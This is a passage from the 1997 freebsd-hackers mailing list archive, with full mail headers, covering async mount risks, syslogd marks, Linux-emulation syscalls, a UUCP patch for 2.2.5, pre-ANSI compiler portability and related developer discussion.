hub.freebsd.org (8.8.7/8.8.7) id UAA29267 for hackers-outgoing; Sun, 5 Oct 1997 20:42:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA29262 for ; Sun, 5 Oct 1997 20:42:13 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id UAA01157; Sun, 5 Oct 1997 20:41:35 -0700 (PDT) To: mdean cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Kernel function index. In-reply-to: Your message of "Sun, 05 Oct 1997 17:51:09 PDT." Date: Sun, 05 Oct 1997 20:41:34 -0700 Message-ID: <1154.876109294@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Here is the result of the make tags HTML=yes (it went for quite a while) Hmmmm. Guess there are some bugs in the new GLOBAL (unless this isn't a 3.0 version, in which case you're using the old one and maybe, just maybe, it'll get updated in time for 2.2.5 but I rather doubt it). Jordan From owner-freebsd-hackers Sun Oct 5 21:01:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA29984 for hackers-outgoing; Sun, 5 Oct 1997 21:01:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA29965; Sun, 5 Oct 1997 21:00:32 -0700 (PDT) (envelope-from tom@sdf.com) Received: from tom by misery.sdf.com with smtp (Exim 1.71 #1) id 0xI4Ki-0005Ge-00; Sun, 5 Oct 1997 20:59:48 -0700 Date: Sun, 5 Oct 1997 20:59:43 -0700 (PDT) From: Tom To: Drew Derbyshire cc: hackers@hub.freebsd.org Subject: Re: mount async and possible loss of F/S In-Reply-To: <199710060106.SAA21602@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 5 Oct 1997, Drew Derbyshire wrote: > The mount command cheerfully states that the async option is not to be used > unless you are prepared to recreate the file system. Ummm, exactly > what is left so hanging in the wind that you lose the file system rather > than just the recent updates? It really depends on how much disk activity is going on. When async is on, metainfo (directory structures, etc) are not immediately updated. Power failures during during heavy writing will leave a lot of things unwritten, and fsck may not be able to repair things sufficiently without reasonably accurate metainfo. Try it out. Mount /usr/src and /usr/obj async, start a make world, and hit the power switch. Compare the damage to a non-async set. > Thanks > -ahd- > > Tom From owner-freebsd-hackers Sun Oct 5 21:10:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA00605 for hackers-outgoing; Sun, 5 Oct 1997 21:10:34 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from nemesis.idirect.com (root@nemesis.idirect.com [207.136.80.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA00598 for ; Sun, 5 Oct 1997 21:10:30 -0700 (PDT) (envelope-from jlixfeld@idirect.com) Received: from thor.idirect.com (jlixfeld@thor.idirect.com [207.136.80.105]) by nemesis.idirect.com (8.8.5/8.8.4) with SMTP id AAA21875; Mon, 6 Oct 1997 00:10:27 -0400 (EDT) Received: from localhost (jlixfeld@localhost) by thor.idirect.com (8.6.12/8.6.12) with SMTP id AAA09972; Mon, 6 Oct 1997 00:10:27 -0400 X-Authentication-Warning: thor.idirect.com: jlixfeld owned process doing -bs Date: Mon, 6 Oct 1997 00:10:26 -0400 (EDT) From: Jason Lixfeld To: "Matthew N. Dodd" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Increasing max open files per process @ system level In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I made it myself! =) Kidding.. it was a typo! 8.8.7! =P On Sun, 5 Oct 1997, Matthew N. Dodd wrote: > On Sun, 5 Oct 1997, Jason Lixfeld wrote: > > I'm configuring Sendmail 8.8.8 on FreeBSD 2.2.2, and I'm setting > > Where the heck did you get 8.8.8? > > /* > Matthew N. Dodd | A memory retaining a love you had for life > winter@jurai.net | As cruel as it seems nothing ever seems to > http://www.jurai.net/~winter | go right - FLA M 3.1:53 > */ > From owner-freebsd-hackers Sun Oct 5 21:27:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA01655 for hackers-outgoing; Sun, 5 Oct 1997 21:27:06 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA01650 for ; Sun, 5 Oct 1997 21:27:00 -0700 (PDT) (envelope-from tlambert@usr09.primenet.com) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id VAA20719; Sun, 5 Oct 1997 21:26:57 -0700 (MST) From: Terry Lambert Message-Id: <199710060426.VAA20719@usr09.primenet.com> Subject: Re: Minor error (?) in regex.h To: Shimon@i-Connect.Net (Simon Shapiro) Date: Mon, 6 Oct 1997 04:26:56 +0000 (GMT) Cc: tlambert@primenet.com, freebsd-hackers@FreeBSD.ORG, brian@awfulhak.org In-Reply-To: from "Simon Shapiro" at Oct 5, 97 05:13:38 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > So, some of the contributors to FreeBSD are dwiddley's (LOVE that > expression :-), as I never thought this to be permissable, until I read > some sources here :-)) It's from the hacker's dictionary. I can't claim credit. > Don't remember whwere but these where some inline functions. > BTW, is queue.h, which is full of #define's as long as functions, a > Dwiddled code? No. Inline functions are what macros should have been, actually, so both macros and inlined funtions are immune from being tarred with the same brush. > This is a humorous, tention breaker. Right? No. People who program in include files are either trying to exceed the capabilities of the language using the preprocessor, or they simply do not understand the concepts behind abstraction and layering of interface code. Eother way, their code should not be checked into a tree. IMO, the FreeBSD code should represent "a good example" at a minimum, and "a reference implementation" at best. I prefer the "reference implementation" representation, but I'm probably in a minority: I'm in this thing to raise the bar for everyone, not to necessarily see my code used commercially. If you raise the bar across the board, the commercial implementations will have to "do the right thing" to compete. At best, they will take the BSD code to do it, at worst they will spend a lot of money because they are stupid and believe in "NIH"; either way, there will be an economic pressure against stupidity, and the systems will experience evolvolutionary pressures (no system really *wants* to experience evolutionary pressure; all evolutionary pressure is anti-status-quo). AFAIK, one of the reasons USL would not let me release code unrelated to my job responsibilities was the fact that, if I succeeded in "raising the bar", they'd have to actually do something other than resting on their laurels in order to compete. It seems that the current industry model is "do as much as you have to, but do no more". If that's the case, then I gleefully await the day that the Japanese (or Russians, or Koreans, or whoever) kick America's ass in software. Then America can learn to do the right thing the right way, or lose out to those who will. Either way, the general state of the art is going to advance, and I really don't give a damn at this point who does the advancing, so long as people who do not fear the future are left in charge. Just my personal opinion... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 21:27:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA01727 for hackers-outgoing; Sun, 5 Oct 1997 21:27:42 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA01719; Sun, 5 Oct 1997 21:27:33 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xI4lX-0002ef-00; Sun, 5 Oct 1997 22:27:31 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id WAA11488; Sun, 5 Oct 1997 22:28:59 -0600 (MDT) Message-Id: <199710060428.WAA11488@harmony.village.org> To: Tom Subject: Re: mount async and possible loss of F/S Cc: Drew Derbyshire , hackers@hub.freebsd.org In-reply-to: Your message of "Sun, 05 Oct 1997 20:59:43 PDT." References: Date: Sun, 05 Oct 1997 22:28:58 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message Tom writes: : Try it out. Mount /usr/src and /usr/obj async, start a make world, and : hit the power switch. Compare the damage to a non-async set. Might be better to mount /usr/obj async only, since it can always be brought to a known state w/o loss of data with newfs. /usr/src can be much harder to do that with if you have local mods... Also, mounting /usr/src async doesn't seem to buy much in the make world stone. It does help to mount /usr/src noatime, however. Warner From owner-freebsd-hackers Sun Oct 5 21:31:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA01977 for hackers-outgoing; Sun, 5 Oct 1997 21:31:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA01968; Sun, 5 Oct 1997 21:31:43 -0700 (PDT) (envelope-from tlambert@usr09.primenet.com) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id VAA20970; Sun, 5 Oct 1997 21:31:42 -0700 (MST) From: Terry Lambert Message-Id: <199710060431.VAA20970@usr09.primenet.com> Subject: Re: mount async and possible loss of F/S To: ahd@FreeBSD.ORG (Drew Derbyshire) Date: Mon, 6 Oct 1997 04:31:42 +0000 (GMT) Cc: hackers@hub.freebsd.org In-Reply-To: <199710060106.SAA21602@hub.freebsd.org> from "Drew Derbyshire" at Oct 5, 97 06:06:16 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The mount command cheerfully states that the async option is not to be used > unless you are prepared to recreate the file system. Ummm, exactly > what is left so hanging in the wind that you lose the file system rather > than just the recent updates? The fsck utility can recover exactly one state transition. Any more, and it will return the FS to a "known good state" -- but will it be the "known good state" the FS was supposed to have been in? The naser is that if there were 10 transations outstanding, there is only one known good state. That means a 1 in 2^10 or 1 in 1024 chance of getting the "right" "known good state". Pretty bad odds... but feel free to gamble; the freedom to gamble is an evolutionary pressure which promotes the ability to do simple math in the losers. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 21:33:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA02157 for hackers-outgoing; Sun, 5 Oct 1997 21:33:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA02150 for ; Sun, 5 Oct 1997 21:33:55 -0700 (PDT) (envelope-from tlambert@usr09.primenet.com) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id VAA21080; Sun, 5 Oct 1997 21:33:48 -0700 (MST) From: Terry Lambert Message-Id: <199710060433.VAA21080@usr09.primenet.com> Subject: Re: Increasing max open files per process @ system level To: winter@jurai.net (Matthew N. Dodd) Date: Mon, 6 Oct 1997 04:33:47 +0000 (GMT) Cc: jlixfeld@idirect.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Matthew N. Dodd" at Oct 5, 97 11:31:32 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Sun, 5 Oct 1997, Jason Lixfeld wrote: > > I'm configuring Sendmail 8.8.8 on FreeBSD 2.2.2, and I'm setting > > Where the heck did you get 8.8.8? 8.9 supports anti-spam. 8-) 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Oct 5 22:20:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA04495 for hackers-outgoing; Sun, 5 Oct 1997 22:20:36 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA04490 for ; Sun, 5 Oct 1997 22:20:32 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA12274 for freebsd-hackers@FreeBSD.ORG; Mon, 6 Oct 1997 07:20:30 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id HAA02796; Mon, 6 Oct 1997 07:16:34 +0200 (MET DST) Message-ID: <19971006071634.YU58556@uriah.heep.sax.de> Date: Mon, 6 Oct 1997 07:16:34 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: devfs / cdevsw References: <199710040801.RAA00530@word.smith.net.au> <199710052316.QAA22821@usr05.primenet.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710052316.QAA22821@usr05.primenet.com>; from Terry Lambert on Oct 5, 1997 23:16:24 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > > > What does __P() do to a function declaration? > > It's archaic junk left over from the days of pre-ANSI compilers. > Unless you want the code to be portable to archaic pre-ANSI compilers, > ... We (FreeBSD) have decided some time ago that we don't want. FreeBSD doesn't compile on a non-ANSI compiler anymore anyway, and there's no good reason to hold back things like string splitting forever just for the sake of no longer used C compilers. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Oct 5 22:59:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA06230 for hackers-outgoing; Sun, 5 Oct 1997 22:59:15 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from gate.mgt.msk.ru (mgtrep.24h.dialup.ru [194.87.18.139]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA05922 for ; Sun, 5 Oct 1997 22:52:14 -0700 (PDT) (envelope-from tarkhil@mgt.msk.ru) Received: from asteroid.mgt.msk.ru (asteroid.mgt.msk.ru [192.168.133.145]) by gate.mgt.msk.ru (8.8.6/8.8.6) with ESMTP id JAA00333 for ; Mon, 6 Oct 1997 09:50:36 +0400 (MSD) Received: from asteroid.mgt.msk.ru (localhost.mgt.msk.ru [127.0.0.1]) by asteroid.mgt.msk.ru (8.8.7/8.8.6) with ESMTP id JAA21771 for ; Mon, 6 Oct 1997 09:50:57 +0400 (MSD) Message-Id: <199710060550.JAA21771@asteroid.mgt.msk.ru> To: hackers@freebsd.org Subject: syslogd not writing marks Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 06 Oct 1997 09:50:57 +0400 From: "Alexander B. Povolotsky" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've posted this to freebsd-questions on Oct 2, got no reply. I REALLY need syslogd now to set marks. Can someone help me? ------- Forwarded Message Reply-To: tarkhil@mgt.msk.ru Date: Thu, 02 Oct 1997 19:56:45 +0400 Hello! I'm trying to set syslogd's marks, but so far it doesn't work. I've put syslog.info /var/log/alive into syslog.conf, restarted syslogd... and nothing appears. Debug output yields: gate:/etc 206_> sudo syslogd -m 1 -d off & running.... init cfline("syslog.* @asteroid", f, "*") cfline("syslog.* /var/log/alive", f, "*") [...skip...] X X X X X 8 X X X X X X X X X X X X X X X X X X X FORW: asteroid X X X X X 8 X X X X X X X X X X X X X X X X X X X FILE: /var/log/alive 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 X FORW: asteroid 7 3 2 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 X CONSOLE: /dev/console 7 5 2 5 5 5 6 3 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 X FILE: /var/log/messages X X 6 X X X X X X X X X X X X X X X X X X X X X X FILE: /var/log/maillog X X X X X X 6 X X X X X X X X X X X X X X X X X X FILE: /var/log/lpd-errs X X X X X X X X X 8 X X X X X X X X X X X X X X X FILE: /var/cron/log 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 X USERS: root, X X X X X X X 3 X X X X X X X X X X X X X X X X X USERS: root, 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 X USERS: root, 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 X WALL: 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 X FILE: /var/log/slip.log (startslip) 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 X FILE: /var/log/ppp.log (ppp) logmsg: pri 56, flags 4, from gate, msg syslogd: restart Logging to FORW asteroid Logging to FILE /var/log/alive syslogd: restarted readfds = 0x70 readfds = 0x70 logmsg: pri 6, flags c, from gate, msg -- MARK -- readfds = 0x70 So syslogd GETS marks, but doesn't output it anywhere... Here is some info on my computer: gate:/etc 210_> uname -a FreeBSD gate.mgt.msk.ru 2.2-STABLE FreeBSD 2.2-STABLE #0: Tue Sep 23 09:26:43 MSD 1997 tarkhil@asteroid.mgt.msk.ru:/net/unix/FreeBSD/src/sys/compile/GATE i386 What could I do wrong? Alex. ------- End of Forwarded Message From owner-freebsd-hackers Sun Oct 5 23:02:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA06462 for hackers-outgoing; Sun, 5 Oct 1997 23:02:01 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA06216 for ; Sun, 5 Oct 1997 22:58:49 -0700 (PDT) (envelope-from Eugeny.Kuzakov@lab321.ru) Received: from lab321.ru (kev.l321.omsk.net.ru [194.226.33.68]) by lab321.ru (8.8.5-MVC-230497/8.8.5) with ESMTP id OAA04216; Mon, 6 Oct 1997 14:05:17 +0600 (OSK) Message-ID: <34387E03.8E31C161@lab321.ru> Date: Mon, 06 Oct 1997 12:58:28 +0700 From: Eugeny Kuzakov Organization: Powered by FreeBSD. X-Mailer: Mozilla 4.03b8 [en] (X11; I; FreeBSD 3.0-970807-SNAP i386) MIME-Version: 1.0 To: Stefan Arentz CC: freebsd-hackers@FreeBSD.ORG Subject: Re: Linux Compatibility - sendmsg/recvmsg References: <19971006005623.57358@kalkoen.sateh.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Stefan Arentz wrote: > Is there any particular reason that the sendmsg and recvmsg > calls are not implemented in the linux compatibility module? > > I'm trying to use some linux software that needs these > two calls and if there's no technical reason why those > calls can't be implemented in the emulator I might give > it a try myself. You can look at ftp://rah.star-gate.com/pub/linux_ioctl.tar.gz It's for fbsd 3.0. May be your needs implemented.... -- Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) http://www.lab321.ru/~kev kev@lab321.ru From owner-freebsd-hackers Mon Oct 6 00:04:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA09382 for hackers-outgoing; Mon, 6 Oct 1997 00:04:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from kalkoen.sateh.com (kalkoen.sateh.com [194.151.25.30]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA09377 for ; Mon, 6 Oct 1997 00:04:41 -0700 (PDT) (envelope-from stefan@kalkoen.sateh.com) Received: (from stefan@localhost) by kalkoen.sateh.com (8.8.5/8.8.5) id JAA14329; Mon, 6 Oct 1997 09:05:55 +0200 (CEST) Message-ID: <19971006090554.52433@kalkoen.sateh.com> Date: Mon, 6 Oct 1997 09:05:54 +0200 From: Stefan Arentz To: freebsd-hackers@freebsd.org Subject: Re: Linux Compatibility - sendmsg/recvmsg References: <19971006005623.57358@kalkoen.sateh.com> <34387E03.8E31C161@lab321.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84 In-Reply-To: <34387E03.8E31C161@lab321.ru>; from Eugeny Kuzakov on Mon, Oct 06, 1997 at 12:58:28PM +0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, Oct 06, 1997 at 12:58:28PM +0700, Eugeny Kuzakov wrote: > Stefan Arentz wrote: > > Is there any particular reason that the sendmsg and recvmsg > > calls are not implemented in the linux compatibility module? > > > > I'm trying to use some linux software that needs these > > two calls and if there's no technical reason why those > > calls can't be implemented in the emulator I might give > > it a try myself. > You can look at ftp://rah.star-gate.com/pub/linux_ioctl.tar.gz > It's for fbsd 3.0. > May be your needs implemented.... Nope. No sendmsg() en recvmsg() in this version... - Stefan From owner-freebsd-hackers Mon Oct 6 00:15:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA09778 for hackers-outgoing; Mon, 6 Oct 1997 00:15:00 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from dog.farm.org (gw-serial2.farm.org [207.111.140.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA09754 for ; Mon, 6 Oct 1997 00:13:35 -0700 (PDT) (envelope-from dog.farm.org!dk) Received: (from dk@localhost) by dog.farm.org (8.7.5/dk#3) id XAA18753; Sun, 5 Oct 1997 23:45:34 -0700 (PDT) Message-ID: <19971005234534.44590@dog.farm.org> Date: Sun, 5 Oct 1997 23:45:34 -0700 From: Dmitry Kohmanyuk =?KOI8-R?B?5M3J1NLJyiDrz8jNwc7Ayw==?= To: Greg Lehey Cc: Mike Smith , pechter@lakewood.com, dk+@ua.net, freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) Reply-To: dk+@ua.net References: <199710031354.JAA04901@i4got.lakewood.com> <199710031430.AAA00858@word.smith.net.au> <19971004101846.12337@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <19971004101846.12337@lemis.com>; from "Greg Lehey" on Sat, Oct 04, 1997 at 10:18:46AM +0930 X-Class: Fast X-OS-Used: FreeBSD 2.2-960501-SNAP X-NIC-Handle: DK379 X-Pager-Email: dk@interpage.net Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, Oct 04, 1997 at 10:18:46AM +0930, Greg Lehey wrote: > > ie. HAVE_HDB_CONFIG and HAVE_V2_CONFIG should be set to 1 in /usr/src/ > > gnu/libexec/uucp/common_source/policy.h. exactly - I have posted a (obvious) patch for this in my other message... > > This wouldn't cost anything functionality-wise, and would make Bill > > happy. Can we achieve enough consensus on this to make it into 2.2.5? > > It's a good thing that you said this. I misunderstood Bill, and I'm > sure a lot of other people do. I agree with this suggestion, and not > what I understood Bill to have said. > > I can't really see this getting changed for 2.2.5, though. Hmm. Why simple 2-line patch which enables more functionality already present in a externally contributed package which is not a part of core system cannot be committed to a version which is still in beta? And we have people who can test it (keeping in mind that Taylor UUCP is pretty mature by itself). Who can decide on this? Is there a conspiracy behind it? ;-) From owner-freebsd-hackers Mon Oct 6 00:52:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA11782 for hackers-outgoing; Mon, 6 Oct 1997 00:52:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA11777 for ; Mon, 6 Oct 1997 00:52:34 -0700 (PDT) (envelope-from tlambert@usr02.primenet.com) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id AAA25610 for freebsd-hackers@FreeBSD.ORG; Mon, 6 Oct 1997 00:52:34 -0700 (MST) From: Terry Lambert Message-Id: <199710060752.AAA25610@usr02.primenet.com> Subject: Re: devfs / cdevsw To: freebsd-hackers@FreeBSD.ORG Date: Mon, 6 Oct 1997 07:52:32 +0000 (GMT) In-Reply-To: <19971006071634.YU58556@uriah.heep.sax.de> from "J Wunsch" at Oct 6, 97 07:16:34 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Unless you want the code to be portable to archaic pre-ANSI compilers, > > ... > > We (FreeBSD) have decided some time ago that we don't want. This is fine for FreeBSD itself. I suppose. > FreeBSD > doesn't compile on a non-ANSI compiler anymore anyway, and there's no > good reason to hold back things like string splitting forever just for > the sake of no longer used C compilers. However, user tools and so on (general user space code) should probably be protable to other OS's, including old Xenix boxes with non-ANSI compilers. I don't mean that the kerneitself should be, but in general, it is a mistake toartifically restrict your market for nothing more than religious reasons. Unless your goals are religious... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Oct 6 01:15:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA12825 for hackers-outgoing; Mon, 6 Oct 1997 01:15:48 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA12817 for ; Mon, 6 Oct 1997 01:15:44 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id BAA02373; Mon, 6 Oct 1997 01:14:03 -0700 (PDT) To: dk+@ua.net cc: Greg Lehey , Mike Smith , pechter@lakewood.com, freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) In-reply-to: Your message of "Sun, 05 Oct 1997 23:45:34 PDT." <19971005234534.44590@dog.farm.org> Date: Mon, 06 Oct 1997 01:14:03 -0700 Message-ID: <2369.876125643@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Who can decide on this? Is there a conspiracy behind it? ;-) Given that I don't particularly *care* about UUCP in the first place, I really don't mind what goes into 2.2.5 as far as this is concerned. Anyone masochistic enough to still use UUCP in this day and age is also capable of fixing any breakage that may occur, I think. Go for it. ;) Jordan From owner-freebsd-hackers Mon Oct 6 01:20:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA13140 for hackers-outgoing; Mon, 6 Oct 1997 01:20:14 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA13135 for ; Mon, 6 Oct 1997 01:20:11 -0700 (PDT) (envelope-from sebesty@cs.elte.hu) Received: from neumann.cs.elte.hu (neumann [157.181.6.200]) by konig.elte.hu (8.8.3/8.7.3/7s) with ESMTP id KAA04586; Mon, 6 Oct 1997 10:19:48 +0200 Received: from localhost (sebesty@localhost) by neumann.cs.elte.hu (8.8.3/8.7.3/4c) with SMTP id KAA27251; Mon, 6 Oct 1997 10:20:04 +0200 X-Authentication-Warning: neumann.cs.elte.hu: sebesty owned process doing -bs Date: Mon, 6 Oct 1997 10:20:04 +0200 (MET DST) From: Zoltan Sebestyen Reply-To: Zoltan Sebestyen To: Mike Smith cc: FreeBSD hackers mailinglist Subject: Re: cpu/memory monitoring In-Reply-To: <199710031822.DAA04089@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, Hmm, the reason I asked for a simpler source than top's one is that I'm porting an application that behaves like Win NT's taskmanager. It was written for Linux and it simply reads the contents of /proc/stat and /proc/meminfo. As far as I know FreeBSD has no such feature in its proc filesystem. Someone suggested that top has the functionality I need so I started to examine top's source code, but I think it's too complex and so is its source code. That's why I asked for a simpler code which deals only with the cpu/memory load monitoring part.(Anyone has written a sample code like this?) Regarding your comments on M$, I know that thing aren't that simple as Mircosoft thinks ;-) -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Mon Oct 6 01:29:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA13716 for hackers-outgoing; Mon, 6 Oct 1997 01:29:41 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA13711 for ; Mon, 6 Oct 1997 01:29:39 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id BAA02515; Mon, 6 Oct 1997 01:29:02 -0700 (PDT) 